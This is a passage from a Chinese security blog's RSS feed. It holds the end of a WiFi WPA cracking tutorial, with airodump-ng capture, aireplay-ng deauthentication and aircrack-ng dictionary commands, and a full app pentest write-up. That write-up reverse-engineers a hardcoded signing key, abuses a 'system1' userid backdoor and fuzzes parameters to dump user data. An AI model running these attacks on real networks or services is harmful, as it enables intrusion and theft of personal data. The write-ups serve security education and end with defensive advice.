      14:75:90:9E:29:8E  E0:DC:FF:DC:5A:89  -40    0 - 0e   817     4259
      14:75:90:9E:29:8E  80:ED:2C:10:0D:8A  -63    0 -24      0        2
      14:75:90:9E:29:8E  FA:83:C4:C0:8F:DF  -60    0e-24     88       88
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从这个输出结果我们可以分析到的数据：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当前连接此WiFi的设备有4台，以及每台设备的唯一标识，发包数等。 下面的四行也就代表了四台设备，我们需要记录 &lt;code&gt;Lost&lt;/code&gt; 有变化的设备标识，这里我们选择标识为 &lt;code&gt;E0:DC:FF:DC:5A:89&lt;/code&gt; 的设备。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;好的，目前我们掌握了几条有用的信息，如下:&lt;/p&gt;
&lt;p&gt;WiFi唯一标识14:75:90:9E:29:8E&lt;/p&gt;
&lt;p&gt;连接WiFi的设备之一的标识E0:DC:FF:DC:5A:89&lt;/p&gt;
&lt;p&gt;WiFi的信道11&lt;/p&gt;
&lt;h3&gt;监听握手包&lt;/h3&gt;
&lt;p&gt;下面我们需要根据以上信息进行抓包，尝试拿到包含密钥的握手包。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;airodump-ng wlan0mon --bssid 14:75:90:9E:29:8E -c 11 -w 203
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参数说明：-w 保存数据包的文件名 –c 信道 –bssid ap的mac地址 (注意test.cap会被重命名)，也可以用其他工具抓包比如：wireshark、tcpdump，抓到握手包会有提示。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;airodump-ng --ivs --bssid E6:9A:DC:79:7:EC -w longas -c 1 wlan0mon**
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PS：我建议使用这条作为监听，–ivs 这里的设置是通过过滤，不再将所有的无线数据保存，而只是保存可用于破解的IVS数据报文，这样可以有效地缩减保存的数据包大小。如果按照第一个语句去监听，不过滤请求的话会有很多额外的请求，后续的图我将以这条语句作为演示。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;监听的时候如果有设备登录成功就会抓到握手包，那么此时客户端不一定有会有登录的包发送给服务端，怎么样去抓到这个带有认证请求的包呢，很简单，强行使客户端断开即可。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h3&gt;执行断网攻击获得握手包&lt;/h3&gt;
&lt;p&gt;下面我们需要利用 &lt;code&gt;Aireplay-ng&lt;/code&gt; 进行断网攻击，当用户重连WiFi时 &lt;code&gt;Airodump-ng&lt;/code&gt; 应该就能拿到密钥的数据包了。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;aireplay-ng wlan0mon -0 10 -a 14:75:90:9E:29:8E -c E0:DC:FF:DC:5A:89
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的 &lt;code&gt;-0&lt;/code&gt; 代表攻击次数，后面的10也就是攻击次数、 &lt;code&gt;-a&lt;/code&gt; 代表要攻击的WiFi、 &lt;code&gt;-c&lt;/code&gt; 代表要攻击的已连接WiFi的设备。&lt;/p&gt;
&lt;p&gt;此命令的输出结果如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;fundamental     23:55:26  Waiting for beacon frame (BSSID: 14:75:90:9E:29:8E) on channel 11
     23:55:28  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [27| 1 ACKs]
     23:55:29  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 3| 1 ACKs]
     23:55:30  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 2| 6 ACKs]
     23:55:32  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 8| 7 ACKs]
     23:55:34  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 7| 7 ACKs]
     23:55:36  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 7|14 ACKs]
     23:55:39  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [34| 3 ACKs]
     23:55:41  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [22| 6 ACKs]
     23:55:43  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 5| 5 ACKs]
     23:55:45  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [10| 6 ACKs]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果这种方式多次失败，可以尝试去掉 &lt;code&gt;-c&lt;/code&gt; 参数，进行范围打击，对每个设备都进行攻击，这样拿到加密包的机率也会有提升。&lt;/p&gt;
&lt;p&gt;当 &lt;code&gt;airodump-ng&lt;/code&gt; 那边提示拿到 &lt;code&gt;WPA handshake&lt;/code&gt; 即代表拿到加密握手包，也就不需要断网攻击了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679491543782-d472bf.C2FqFm3K.png&amp;#x26;w=844&amp;#x26;h=591&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我实践中使用是把整个客户端打掉线让他们重连的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679491543881-c1e4f4.DrksIXkN.png&amp;#x26;w=803&amp;#x26;h=392&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;当这边的shell提示WPA handshake就说明获取到握手包了，可以停止了。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;CH 11 ][ Elapsed: 6 mins ][ 2021-04-08 00:05 ][ WPA handshake: 14:75:90:9E:29:8E
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h3&gt;字典破解&lt;/h3&gt;
&lt;p&gt;下面我们通过准备的字典以及拿到的握手包进行暴力破解。&lt;/p&gt;
&lt;p&gt;执行如下命令进行破解&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;aircrack-ng -w common.txt 203.ivs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;-w&lt;/code&gt; 是我们的字典， &lt;code&gt;203-01.cap&lt;/code&gt; 是我们拿到的密钥握手包。&lt;/p&gt;
&lt;p&gt;我这个运气不错，密码相对简单。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679491543962-224a59.BocXrnIH.png&amp;#x26;w=808&amp;#x26;h=482&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;KEY FOUND! [ 99998888 ]即是密码。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679491544037-e63fb8.BdMNsIJO.png&amp;#x26;w=349&amp;#x26;h=142&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;最后&lt;/h2&gt;
&lt;p&gt;请善待你的邻居，不要随意拿邻居开刀。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>APP安全测试：从客户端信息泄露到越权</title><link>https://astro-pure.js.org/blog/app-security-testing</link><guid isPermaLink="true">https://astro-pure.js.org/blog/app-security-testing</guid><description>APP安全测试：从客户端信息泄露到越权</description><pubDate>Fri, 07 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;APP安全测试：从客户端信息泄露到越权&lt;/h1&gt;
&lt;hr&gt;
&lt;p&gt;前言&lt;/p&gt;
&lt;p&gt;最近在对某 APP 进行安全测试时，发现一个比较有意思的APP。从最开始的网络层暴力破解失败，到转向客户端逆向分析，最终发现隐藏在代码深处的逻辑后门，并成功利用报错信息泄露实现了未授权访问。&lt;/p&gt;
&lt;p&gt;这篇文章记录了整个渗透测试的思路演变，轻喷。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;免责声明&lt;/strong&gt;：本文仅用于技术交流与安全教育。文中涉及的漏洞已提交给相关厂商修复，敏感信息均已脱敏处理。请勿利用文中技术进行非法攻击。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;第一阶段：碰壁——失效的暴力破解&lt;/h2&gt;
&lt;p&gt;起初，我试图对 APP 的登录接口进行传统的暴力破解测试。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;目标接口&lt;/strong&gt;：&lt;code&gt;POST /api/password&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;经过观察 Burp Suite 的流量，我发现请求头中包含几个动态字段：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;timestamp&lt;/code&gt;: 毫秒级时间戳&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sign&lt;/code&gt;: 一个 32 位的哈希值&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1764212379640-3bb6f1.CO9NsyMX.png&amp;#x26;w=942&amp;#x26;h=491&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;再此登录请求的接口之前，还需要访问一个token接口生成对应的accesstoken参数。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1764212379713-def61d.DFfYWbsB.png&amp;#x26;w=942&amp;#x26;h=491&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;逻辑等于是首先访问token接口，返回accesstoken参数，然后进入下一步登录的接口，携带accesstoken参数和singn参数作为登录请求的Header。&lt;/p&gt;
&lt;p&gt;测试了一下应该是只有头部签名校验：签名只校验 Header 中的字段（如 &lt;code&gt;appId&lt;/code&gt;, &lt;code&gt;timestamp&lt;/code&gt;, &lt;code&gt;nonce&lt;/code&gt;）。Body 的内容不参与签名计算。&lt;/p&gt;
&lt;p&gt;在这种设计下，&lt;strong&gt;只要时间戳在有效期内，你可以随意修改 Body 里的密码，签名依然合法。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果服务器采用的是这种策略，那么防重放机制其实是只校验了时间戳，但&lt;strong&gt;防篡改机制&lt;/strong&gt;只保护了 Header，没有保护 Body。这属于 API 设计上的缺陷，正确的做法应该是连带body一起保护。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1764212379780-eb4425.Cj3JWQsN.png&amp;#x26;w=1353&amp;#x26;h=748&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第二阶段：突破——APK 逆向与算法还原&lt;/h2&gt;
&lt;p&gt;刚好这个APP没加壳，通过反编译 APK（使用 JADX），我开始寻找签名的生成逻辑。&lt;/p&gt;
&lt;h3&gt;1. 定位核心配置&lt;/h3&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;那么如何搜索这些特征点呢，我个人的思路是如下：&lt;/p&gt;
&lt;h4&gt;1. 搜索 HTTP 请求头中的关键词 (最有效)&lt;/h4&gt;
&lt;p&gt;这是最快的方法。我举例如下，&lt;/p&gt;
&lt;p&gt;刚开始我在Burp Suite 里看到了几个特殊的 Header，直接在反编译工具（如 JADX）中搜索这些字符串：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;&quot;sign&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;  (搜字符串，注意带引号)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;&quot;timestamp&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;&quot;Id&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;&quot;access-token&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;  或  &lt;strong&gt;&lt;strong&gt;&lt;code&gt;&quot;accessToken&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;搜索技巧：&lt;/strong&gt; 如果搜 &lt;code&gt;&quot;sign&quot;&lt;/code&gt; 结果太多（因为这是常用词），尝试搜  &lt;strong&gt;&lt;strong&gt;&lt;code&gt;&quot;sign&quot;:&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;  (带冒号) 或者  &lt;strong&gt;&lt;strong&gt;&lt;code&gt;.addHeader(&quot;sign&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; 。&lt;/p&gt;
&lt;h4&gt;2. 搜索网络库拦截器 (Interceptor)&lt;/h4&gt;
&lt;p&gt;现代 Android App (90%以上) 使用 &lt;code&gt;OkHttp&lt;/code&gt; 或 &lt;code&gt;Retrofit&lt;/code&gt; 发送网络请求。开发者通常不会在每个页面单独写签名逻辑，而是写在一个&lt;strong&gt;全局拦截器&lt;/strong&gt;里。&lt;/p&gt;
&lt;p&gt;搜索以下关键词：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;Interceptor&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; (查看实现了这个接口的类)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;addHeader&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;chain.proceed&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;典型代码长这样：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Java&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;public class SignInterceptor implements Interceptor {
    @Override
    public Response intercept(Chain chain) {
        Request original = chain.request();
        // ... 这里就是你要找的签名逻辑 ...
        String sign = MD5.encrypt(original.body() + timestamp + secret);
        
        Request newRequest = original.newBuilder()
                .addHeader(&quot;sign&quot;, sign) // 关键特征
                .build();
        return chain.proceed(newRequest);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3. 搜索加密相关的关键词&lt;/h4&gt;
&lt;p&gt;如果以上都找不到，尝试搜索通用的加密类名或方法名：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;MD5&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; (通常签名是 MD5 或 SHA256)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;MessageDigest&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; (Java 原生加密类)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;Mac&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; (HMAC 签名常用类)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;SecretKey&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;sortedMap&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; / &lt;strong&gt;&lt;strong&gt;&lt;code&gt;TreeMap&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; (签名通常需要对参数进行字母排序，搜索这个能找到排序逻辑)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;4. 搜索 URL 路径&lt;/h4&gt;
&lt;p&gt;直接搜索你在抓包里看到的 URL 路径片段：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&quot;/api/token&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;&quot;/dPassword&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;找到定义这些 URL 的地方，通常顺藤摸瓜就能找到是谁在使用它们，以及使用前做了什么处理&lt;/p&gt;
&lt;p&gt;通过搜索抓包中看到的 &lt;code&gt;clientId&lt;/code&gt; 字符串，我迅速定位到了一个名为 Getsign 的配置文件。：&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;public final String getSign(String timestamp, boolean z) {
    String str;
    // 1. 关键判断：z 代表是否有 Token (是否已登录)
    if (z) {
        // 情况 A：有 Token (用于业务接口)
        // 拼接规则：[密钥] + [Token] + [时间戳]
        str = &quot;xxxxxxxxxxxxxx&quot; 
              + UserManager.INSTANCE.getLoginModel().getAuth().getToken() 
              + timestamp;
    } else {
        // 情况 B：无 Token (用于获取 Token 的接口)
        // 拼接规则：[密钥] + [时间戳]
        str = &quot;xxxxxxxxxxxxxx&quot; 
              + timestamp;
    }
    
    // 2. 算法选择：MD5
    MessageDigest messageDigest = MessageDigest.getInstance(&quot;MD5&quot;);
    byte[] bytes = str.getBytes(Charsets.UTF_8);
    byte[] digest = messageDigest.digest(bytes);
    
    // 3. 格式化：转为 32位 Hex 字符串
    String format = String.format(&quot;%032x&quot;, Arrays.copyOf(new Object[]{new BigInteger(1, digest)}, 1));
    
    // 4. 大写转换：转为大写
    return format.toUpperCase(Locale.ROOT);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 还原签名算法&lt;/h3&gt;
&lt;p&gt;接着，通过搜索 &lt;code&gt;.addHeader(&quot;sign&quot;&lt;/code&gt; 关键字，我在 &lt;code&gt;App.kt&lt;/code&gt; 中找到了签名的计算逻辑：&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;// App.kt 伪代码
fun getSign(timestamp: String, hasToken: Boolean): String {
    val raw = if (hasToken) {
        FULL_KEY + token + timestamp
    } else {
        FULL_KEY + timestamp
    }
    return MD5(raw).toUpperCase()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;算法逻辑明确了：&lt;/strong&gt;  &lt;code&gt;Sign = MD5(SecretKey + [Token] + Timestamp)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;有了这个算法和密钥，我编写了一个 Python 脚本，能够实时生成合法的签名。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第三阶段：发现——代码中的逻辑后门&lt;/h2&gt;
&lt;p&gt;在审计 &lt;code&gt;App.kt&lt;/code&gt; 的网络拦截器（Interceptor）代码时，一段奇怪的逻辑引起了我的注意：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1764212379859-a214fb.DktuQroT.png&amp;#x26;w=1559&amp;#x26;h=170&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;// 拦截器逻辑
if (url.contains(&quot;/queryUser&quot;)) {
    //高危逻辑：如果是查询用户接口，强制将 userid 设为 system1
    request.addHeader(&quot;userid&quot;, &quot;system1&quot;);
} else {
    request.addHeader(&quot;userid&quot;, currentUser.uid);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;漏洞点分析：&lt;/p&gt;
&lt;p&gt;这意味着有一个接口 &lt;code&gt;/XXX/queryUser&lt;/code&gt;，它大概率是用来&lt;strong&gt;获取用户列表&lt;/strong&gt;的。且服务器可能存在逻辑漏洞：&lt;strong&gt;只要 Header 里的&lt;/strong&gt; &lt;strong&gt;&lt;strong&gt;&lt;code&gt;userid&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;是&lt;/strong&gt; &lt;strong&gt;&lt;strong&gt;&lt;code&gt;system1&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;，它就允许查看所有数据，而不校验 Token 是否真的是管理员的。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;由于 API 签名（Sign）和时间戳（Timestamp）是动态的，我们需要先生成一个合法的token和sign，然后修改userid信息来测试system1发送请求。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第四阶段：利用——报错信息泄露与 Fuzzing&lt;/h2&gt;
&lt;p&gt;我利用 Python 脚本获得了新的sign信息，目标直指 &lt;code&gt;/queryUsers&lt;/code&gt; 接口，并在 Header 中伪造了 &lt;code&gt;userid: system1&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;1. Fuzz1&lt;/h3&gt;
&lt;p&gt;我发送了一个空的 JSON Body {}。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1764212379939-00ba4f.C5fP-H_U.png&amp;#x26;w=1825&amp;#x26;h=497&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;服务器响应：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;{
    &quot;code&quot;: 500,
    &quot;message&quot;: &quot;请输入PageSize&quot;,
    &quot;result&quot;: null
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;突破口！&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;服务器没有返回“403 Forbidden”或“权限不足”，说明&lt;strong&gt;伪装&lt;/strong&gt; &lt;strong&gt;&lt;strong&gt;&lt;code&gt;system1&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;成功绕过了鉴权&lt;/strong&gt;！&lt;/li&gt;
&lt;li&gt;服务器报错信息泄露了必需参数名：&lt;code&gt;PageSize&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2. Fuzz2&lt;/h3&gt;
&lt;p&gt;既然知道了 &lt;code&gt;PageSize&lt;/code&gt;，肯定是代表某个页码，根据开发经验，分页参数通常是成对出现的。&lt;/p&gt;
&lt;p&gt;在编程开发中（特别是 Java 后端），分页永远需要两个参数：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;一页显示多少条&lt;/strong&gt; (刚刚服务器泄露了，叫 &lt;code&gt;PageSize&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;当前是第几页&lt;/strong&gt; (这个我们需要猜)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;既然参数1叫 &lt;code&gt;PageSize&lt;/code&gt;，那么参数2通常会遵循相同的命名风格。根据经验，常见的组合只有以下几种：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pageSize&lt;/code&gt; + &lt;code&gt;page&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pageSize&lt;/code&gt; + &lt;code&gt;pageIndex&lt;/code&gt; (常见于 C# 或某些前端框架)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pageSize&lt;/code&gt; + &lt;code&gt;current&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;pageSize&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;  &lt;strong&gt;+&lt;/strong&gt;  &lt;strong&gt;&lt;strong&gt;&lt;code&gt;pageNum&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; (常见于 Java 的 PageHelper 插件)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;虽然报错信息显示的是 &lt;code&gt;PageSize&lt;/code&gt; (大写开头，PascalCase)，但这个 App 是安卓应用，后端大概率是 Java (Spring Boot)。 Java 的标准变量命名规范是 &lt;strong&gt;小驼峰 (camelCase)&lt;/strong&gt; ，即首字母小写。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1764212380014-8bd60b.-1gzn86F.png&amp;#x26;w=792&amp;#x26;h=530&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我构建了一个 Fuzzing 列表来猜测另一个参数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;{&quot;PageSize&quot;: 10, &quot;Page&quot;: 1}&lt;/code&gt; -&gt; 失败&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;pageSize&quot;: 10, &quot;page&quot;: 1}&lt;/code&gt; -&gt; 失败&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;pageSize&quot;: 10, &quot;pageIndex&quot;: 1}&lt;/code&gt; -&gt; 失败&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;pageSize&quot;: 10, &quot;pageNum&quot;: 1}&lt;/code&gt; -&gt; &lt;strong&gt;成功 (200 OK)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;服务器返回了：&lt;code&gt;&quot;code&quot;: 0, &quot;message&quot;: &quot;接口调用成功&quot;&lt;/code&gt;，并吐出了大量的用户列表数据。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1764212380106-413119.Cw8A8xM1.png&amp;#x26;w=1924&amp;#x26;h=766&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第五阶段：危害扩大&lt;/h2&gt;
&lt;p&gt;通过这个漏洞，我编写了自动化脚本，利用 &lt;code&gt;pageNum&lt;/code&gt; 遍历，成功拉取了全量的用户信息。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1764212380184-676e95.DG8ELTb4.png&amp;#x26;w=662&amp;#x26;h=162&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;泄露数据包括：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;真实的用户 ID (&lt;code&gt;userId&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;用户昵称&lt;/li&gt;
&lt;li&gt;手机号 (部分脱敏)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;后续危害链 (Kill Chain)：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;精准撞库&lt;/strong&gt;：拥有了 100% 准确的用户 ID 列表后，配合弱口令（如 123456）进行撞库，成功率极高。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1764212380255-89e6f1.BYwkvG7f.png&amp;#x26;w=786&amp;#x26;h=388&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;总结与防御建议&lt;/h2&gt;
&lt;p&gt;这次实战展示了一个典型的 API 漏洞组合拳：&lt;strong&gt;硬编码密钥 + 签名校验逻辑缺陷+APP后门&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;给开发者的防御建议：&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;严禁硬编码密钥&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;不要将 &lt;code&gt;Client Secret&lt;/code&gt; 写死在客户端代码中，APK 反编译有成本，真遇到高手了也是秒了。&lt;/li&gt;
&lt;li&gt;建议使用动态密钥交换或将签名逻辑放在服务端（如网关层）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修复鉴权逻辑 (Broken Access Control)&lt;/strong&gt; ：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;永远不要相信客户端提交的 UserID&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;后端必须从验证过的 &lt;code&gt;AccessToken&lt;/code&gt; 中解析用户身份（Subject），以此作为权限判断的依据。Header 里的 &lt;code&gt;userid&lt;/code&gt; 只能作为参考，不能作为凭证。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;统一错误处理&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;生产环境应屏蔽详细的错误堆栈和具体的参数提示，统一返回模糊的错误码，防止攻击者利用报错信息进行 Fuzzing。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;API 签名不是万能药&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;签名只能保证传输安全，不能保证业务逻辑安全。不要因为有了签名就忽略了越权检测。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
